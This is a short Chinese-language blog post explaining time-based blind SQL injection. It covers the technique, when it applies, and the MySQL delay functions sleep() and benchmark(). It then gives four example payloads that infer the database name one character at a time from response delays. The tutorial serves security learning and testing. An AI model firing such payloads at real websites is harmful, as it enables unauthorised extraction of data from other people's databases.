• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 众包
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
capybaras
博客园    首页    新随笔    联系   管理    订阅  订阅
SQL注入——时间盲注

SQL注入时间盲注


1.何为时间盲注?


时间盲注又称延时注入,是一种SQL注入技术,其特点是通过页面的响应时间来判断是否存在SQL注入以及数据内容。时间盲注的核心原理是利用数据库中的延时函数或其他能导致执行时间延长的函数(如下)。

2.时间盲注适用哪些场景?


适用于没有数据回显的场景。

3.时间盲注所用的核心函数有哪些?


  • sleep()
    用法:sleep(1)为沉睡1秒
  • benchmark()
    用法:benchmark(1000,md5(1))为执行1000次md5(1)
    注:若执行次数太少,延时可能不明显。

4.payload示范


如:
id=1 and if(ascii(mid(database(),1,1))=65,sleep(2),1)
id=1 and sleep(ascii(mid(database(),1,1))=65)
id=1 and if(ascii(mid(database(),1,1))=65,benchmark(100000,md5(1)),1)
id=1 and benchmark((ascii(mid(database(),1,1))=65)*100000,md5(1))

posted on 2024-08-03 18:08  Hack_Tea  阅读(348)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3